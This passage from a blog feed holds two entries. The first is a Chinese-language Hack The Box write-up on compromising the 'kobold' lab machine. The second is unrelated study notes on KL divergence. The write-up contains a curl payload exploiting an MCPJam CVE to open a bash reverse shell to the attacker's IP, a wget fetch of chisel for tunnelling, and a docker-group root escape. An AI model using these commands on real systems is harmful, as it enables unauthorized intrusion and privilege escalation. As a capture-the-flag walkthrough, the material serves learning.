src="https://www.notion.so/image/attachment%3A37336874-5020-4004-8b63-acace795d507%3Aimage.png?table=block&amp;id=35eb233d-8731-80cd-b88a-e39d88c00de1&amp;t=35eb233d-8731-80cd-b88a-e39d88c00de1" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d8731805e9659d0ae6294b19e">扫描子域名</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d873180239479e348eeadb693"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A3df31840-b1e3-48e1-877e-5ce6fa4a8b51%3Aimage.png?table=block&amp;id=35eb233d-8731-8023-9479-e348eeadb693&amp;t=35eb233d-8731-8023-9479-e348eeadb693" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d873180c9a8b9c376a07e57ec">得到两个子域名<code class="notion-inline-code">bin.kobold.htb mcp.kobold.htb</code></div><div class="notion-text notion-block-35eb233d8731808e8cc3e437500e689e">访问mcp子域名</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d87318022b090e78ee98e5286"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa3a1732c-273a-4ec7-8ffb-fb7dacbefe7f%3Aimage.png?table=block&amp;id=35eb233d-8731-8022-b090-e78ee98e5286&amp;t=35eb233d-8731-8022-b090-e78ee98e5286" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d873180258c6dc297d2beed52">去网上查找MCPJam是否有相关的漏洞</div><div class="notion-text notion-block-35eb233d873180529d88cbe3d2df422c"><a class="notion-link" href="https://nvd.nist.gov/vuln/detail/CVE-2026-23744" target="_blank" rel="noopener noreferrer">https://nvd.nist.gov/vuln/detail/CVE-2026-23744</a></div><div class="notion-text notion-block-35eb233d873180b990c8ecaa5b473c44"><a class="notion-link" href="https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6" target="_blank" rel="noopener noreferrer">https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6</a></div><div class="notion-text notion-block-35eb233d8731802f969df147fb8c551b">进行反弹shell</div><div class="notion-text notion-block-35eb233d873180fda2d5e795ae69b6fa"><code class="notion-inline-code">curl https://mcp.kobold.htb/api/mcp/connect --header &quot;Content-Type: application/json&quot; --data &quot;{\&quot;serverConfig\&quot;:{\&quot;command\&quot;:\&quot;bash\&quot;,\&quot;args\&quot;:[\&quot;-c\&quot;, \&quot;bash -i &gt;&amp; /dev/tcp/10.10.16.170/8085 0&gt;&amp;1\&quot;],\&quot;env\&quot;:{}},\&quot;serverId\&quot;:\&quot;mytest\&quot;}&quot; -k</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d873180e387d4d81fcd24f5f9"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Af7701a2e-3311-4d02-8398-708a66fe182e%3Aimage.png?table=block&amp;id=35eb233d-8731-80e3-87d4-d81fcd24f5f9&amp;t=35eb233d-8731-80e3-87d4-d81fcd24f5f9" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d8731804da2d9e96281486523"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:587.984375px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A310ad5fa-a694-49dc-8798-423a02fb90b8%3Aimage.png?table=block&amp;id=35eb233d-8731-804d-a2d9-e96281486523&amp;t=35eb233d-8731-804d-a2d9-e96281486523" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d873180878043debf86437074">本来想着直接用最新的cve内核提权的，但是没ben的密码</div><div class="notion-text notion-block-35eb233d8731809da444f0072ec1fbde">使用<code class="notion-inline-code">ps -ef</code> 查看进程</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d8731803bab41e540e618b605"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A8ab74b1d-8422-4270-89e2-cea52366bbcb%3Aimage.png?table=block&amp;id=35eb233d-8731-803b-ab41-e540e618b605&amp;t=35eb233d-8731-803b-ab41-e540e618b605" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d873180f0a93ad962cdf7fee8">发现docker容器的8080端口被映射到了本地的8080端口上，这边我们不知道ssh连接的密码，所以内网的端口映射我们得依靠chisel不能用ssh</div><div class="notion-text notion-block-35eb233d873180bfad1fdd64dc0c9b72">上传chisel到靶机<code class="notion-inline-code">wget http://10.10.16.170:8000/chisel</code> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d87318064bb37fe46e107d774"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ac3757af8-403d-4249-a4b7-5f7dee2e0f1b%3Aimage.png?table=block&amp;id=35eb233d-8731-8064-bb37-fe46e107d774&amp;t=35eb233d-8731-8064-bb37-fe46e107d774" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d87318057b9c7e7d465e4142a">在靶机上执行<code class="notion-inline-code">chisel server -p 1337 --reverse</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d87318013b842fe724516b20f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A86334c72-264c-4b29-8a39-150a69f07e48%3Aimage.png?table=block&amp;id=35eb233d-8731-8013-b842-fe724516b20f&amp;t=35eb233d-8731-8013-b842-fe724516b20f" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d873180688befc9d1f3463c52">在本机上执行<code class="notion-inline-code">chisel client 10.129.245.50:1337 127.0.0.1:8080:127.0.0.1:8080</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-35eb233d8731804db8bbe79fdab1f221"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Ae0c81d21-ed95-4454-a351-163926593ed4%3Aimage.png?table=block&amp;id=35eb233d-8731-804d-b8bb-e79fdab1f221&amp;t=35eb233d-8731-804d-b8bb-e79fdab1f221" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-35eb233d873180f9a40adf861c440c60">本地访问发现就是和dev.kobold.htb域名的网站一样，跳过</div><div class="notion-text notion-block-361b233d873180108d17d3a94be06afe">最后选择直接非预期，用最近出现的提权漏洞CVE-2026-31431（称为 &quot;Copy Fail&quot;）</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-361b233d8731802f949cce19cd7353b6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A21a24a74-6626-44f7-bc23-69b6d8385cab%3Aimage.png?table=block&amp;id=361b233d-8731-802f-949c-ce19cd7353b6&amp;t=361b233d-8731-802f-949c-ce19cd7353b6" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-361b233d873180f3acf5d524bd183d03"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A64747afb-ff67-4fff-8d70-afa143f94d6f%3Aimage.png?table=block&amp;id=361b233d-8731-80f3-acf5-d524bd183d03&amp;t=361b233d-8731-80f3-acf5-d524bd183d03" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-361b233d8731801086f2fcdb496dd1f8">接下来是不用非预期解题</div><div class="notion-text notion-block-36ab233d8731809bb3bddcdcc5526e95">我们先查看ben的组别</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d873180f3aea9d8fb453d019c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aba744679-1ef1-48df-8250-57f6fd965f36%3Aimage.png?table=block&amp;id=36ab233d-8731-80f3-aea9-d8fb453d019c&amp;t=36ab233d-8731-80f3-aea9-d8fb453d019c" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-366b233d873180cc960cfad874d23545">在查看一下root启动的进程的信息<code class="notion-inline-code">ps -ef ｜ grep root</code></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d873180599f94e0914f198e06"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Af74ca95a-546a-4b24-8ab3-219e0a270723%3Aimage.png?table=block&amp;id=36ab233d-8731-8059-9f94-e0914f198e06&amp;t=36ab233d-8731-8059-9f94-e0914f198e06" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-36ab233d8731802490b5ea70c77a40fa">可以看到root执行了docker容器，我们先试一下<code class="notion-inline-code">newgrp docker</code> 切换到docker组</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d873180ad8ca3feec0911143a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3Aa87a2a2f-2801-4158-931d-0d3c23a7d585%3Aimage.png?table=block&amp;id=36ab233d-8731-80ad-8ca3-feec0911143a&amp;t=36ab233d-8731-80ad-8ca3-feec0911143a" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-36ab233d873180d29163fa99b1bd14cd">查看docker的所有镜像<code class="notion-inline-code">docker image ls</code> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d873180cdb0b2dccba1ca3038"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A4ab95266-8332-4134-8c7c-4256b4069a41%3Aimage.png?table=block&amp;id=36ab233d-8731-80cd-b0b2-dccba1ca3038&amp;t=36ab233d-8731-80cd-b0b2-dccba1ca3038" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-36ab233d87318059ab56f2159236ab69">我们发现了mysql镜像，那么我们就可以通过利用这个镜像将根目录挂载进docker容器里，然后利用docker容器里是root权限，读取root对flag</div><div class="notion-text notion-block-36ab233d8731805aaaa3fc079e2a77db"><code class="notion-inline-code">docker run -it --rm -v /:/mnt/host mysql chroot /mnt/host /bin/bash</code> </div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d873180d18c2eff4c2336ec23"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A9089f357-6a71-44f4-aacf-8ae510f1358f%3Aimage.png?table=block&amp;id=36ab233d-8731-80d1-8c2e-ff4c2336ec23&amp;t=36ab233d-8731-80d1-8c2e-ff4c2336ec23" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d87318035a396f7da6865bb50"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A1fc8cff8-56a5-4d4b-a9f6-242b3588c70b%3Aimage.png?table=block&amp;id=36ab233d-8731-8035-a396-f7da6865bb50&amp;t=36ab233d-8731-8035-a396-f7da6865bb50" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d8731804f9ac0d4dc498aa615"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:523.953125px;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A85d35bc9-0d53-415a-8f6c-15d2001364ef%3Aimage.png?table=block&amp;id=36ab233d-8731-804f-9ac0-d4dc498aa615&amp;t=36ab233d-8731-804f-9ac0-d4dc498aa615" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-36ab233d873180788610cea76ef34432"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A885c0e6b-1475-4c82-a76d-81681918d585%3Aimage.png?table=block&amp;id=36ab233d-8731-8078-8610-cea76ef34432&amp;t=36ab233d-8731-8078-8610-cea76ef34432" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-36ab233d873180c1a549d64e4dab1fe1">可以看到我是在隔离的容器之中的，只不过访问到了本地挂载的所有目录</div><div class="notion-blank notion-block-36ab233d873180eb9accec3e365a8e48"> </div></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[KL散度]]></title>
            <link>http://qetx.top/article/37cb233d-8731-8091-a780-d11e2f7052e1</link>
            <guid>http://qetx.top/article/37cb233d-8731-8091-a780-d11e2f7052e1</guid>
            <pubDate>Thu, 11 Jun 2026 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-37cb233d87318091a780d11e2f7052e1"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-37cb233d873180c6a39fcd2a72099655" data-id="37cb233d873180c6a39fcd2a72099655"><span><div id="37cb233d873180c6a39fcd2a72099655" class="notion-header-anchor"></div><a class="notion-hash-link" href="#37cb233d873180c6a39fcd2a72099655" title="KL散度的作用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">KL散度的作用</span></span></h2><div class="notion-text notion-block-37cb233d87318071aa8ad01e83db311c">衡量两个变脸的概率分布的不相似程度</div><div class="notion-text notion-block-37cb233d873180cc97c8db2c0796ea56"><span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span>:表示P分布与Q分布一模一样
<span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span>:表示P分布与Q分布的“差距”是10</div><div class="notion-text notion-block-37cb233d8731809a8da0fe98f46f248f">KL散度越大，表示从一个分布到另一个分布的差距就越大，信息损失就越多</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-37cb233d873180608ff5ca8c198dc221" data-id="37cb233d873180608ff5ca8c198dc221"><span><div id="37cb233d873180608ff5ca8c198dc221" class="notion-header-anchor"></div><a class="notion-hash-link" href="#37cb233d873180608ff5ca8c198dc221" title="数学定义"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">数学定义</span></span></h2><div class="notion-text notion-block-37cb233d873180bdabcffc36f565b6d8">离散分布 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div><div class="notion-text notion-block-37cb233d873180ffa476d012d7af88dc">连续分布 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div><div class="notion-text notion-block-37cb233d873180b9b3add838edf83367">其中P(X)和Q(x)分别表示真实分布和近似分布，含义是用分布Q接近分布P所“付出的代价”和“信息损失”</div><div class="notion-text notion-block-37cb233d873180ff9cdfd46bc60bc7bc">在P的高概率区域差异被放大，在P的低概率区域差异被抑制</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-37cb233d873180e18201f0670bb59e21" data-id="37cb233d873180e18201f0670bb59e21"><span><div id="37cb233d873180e18201f0670bb59e21" class="notion-header-anchor"></div><a class="notion-hash-link" href="#37cb233d873180e18201f0670bb59e21" title="关键特性"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">关键特性</span></span></h2><div class="notion-text notion-block-37cb233d873180c593bbc4d030ea65df">1、非负性：KL散度总是<span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span>,当且仅当P=Q是等于0</div><div class="notion-text notion-block-37cb233d8731805ea764ccddf8cd8077">函数的均值 &lt;= 均值的函数          凸函数(convex)</div><div class="notion-text notion-block-37cb233d873180cebc9ac242b34eb2a2">琴生(Jensen)不等式 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span>  令 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div><div class="notion-text notion-block-37cb233d873180f6814ac7b4dd780c93">有 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span> 对数函数的性质</div><div class="notion-text notion-block-37cb233d873180e9b40ffb77e2335bda">即 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div><div class="notion-text notion-block-37cb233d873180fbaefaf58b49cae37e">从而 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span> ，也就是 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div><div class="notion-text notion-block-37cb233d873180d39400e8b69ded01a5">当且仅当 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span> 为常数时，即 <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span>，等号成立。</div><div class="notion-text notion-block-37cb233d873180eead6deb0f6a386ccb">2、可加性：多维分布到KL散度可以分解为各维度的累加</div><div class="notion-text notion-block-37cb233d87318008893cfbce1088f76d"><span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div><div class="notion-text notion-block-37cb233d8731801aa7f8d3cd226908df">3、不对称性：用Q逼近P和P逼近Q的“代价”不同</div><div class="notion-text notion-block-37cb233d87318034a65aea79e4c6b6be"><span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-37cb233d873180e48438c987a8e600b0" data-id="37cb233d873180e48438c987a8e600b0"><span><div id="37cb233d873180e48438c987a8e600b0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#37cb233d873180e48438c987a8e600b0" title="不对称性的深入解释"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">不对称性的深入解释</span></span></h2><div class="notion-text notion-block-37cb233d873180d28f72eee0b24d66e7">正向KL——模式覆盖</div><div class="notion-text notion-block-37cb233d873180058842c794262f067b">用Q近似P <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span>  <span class="notion-red">生成模型常用</span></div><div class="notion-text notion-block-37cb233d8731802b96c5f8c238fc7e43">重点惩罚：P有但Q没有的位置</div><div class="notion-text notion-block-37cb233d87318033a40ded375b3ad4d7">不会惩罚：Q在一些P几乎没有的区域有概率</div><div class="notion-text notion-block-37cb233d87318064b0b4e47822256daf">结果：鼓励Q覆盖所有可能的P区域</div><div class="notion-text notion-block-37cb233d873180a2afb6f5871ddcad63">反向KL——模式寻找</div><div class="notion-text notion-block-37cb233d8731806b80e8c0eaed6600d1">用P解释Q <span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span><span class="notion-red">分类问题或策略优化常用  </span></div><div class="notion-text notion-block-37cb233d8731805698d5c30510951bea">重点惩罚：Q有但P没有的位置</div><div class="notion-text notion-block-37cb233d873180709235dcf8237526d1">不会惩罚：Q漏掉了P的某些模式</div><div class="notion-text notion-block-37cb233d8731804ca518fb4c0515f1d4">结果：鼓励Q精准地匹配P的高概率区域</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-37cb233d8731805b8196efe71101682e" data-id="37cb233d8731805b8196efe71101682e"><span><div id="37cb233d8731805b8196efe71101682e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#37cb233d8731805b8196efe71101682e" title="参考资料"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">参考资料</span></span></h2><div class="notion-text notion-block-37cb233d8731802db7dbe8a575940728"><a class="notion-link" href="https://www.bilibili.com/video/BV1r6jHzpE1J/?spm_id_from=333.337.search-card.all.click&amp;vd_source=0c47f5490e2c71eac67bf1efe77fe637" target="_blank" rel="noopener noreferrer">https://www.bilibili.com/video/BV1r6jHzpE1J/?spm_id_from=333.337.search-card.all.click&amp;vd_source=0c47f5490e2c71eac67bf1efe77fe637</a></div></main></div>]]></content:encoded>
        </item>
    </channel>
</rss>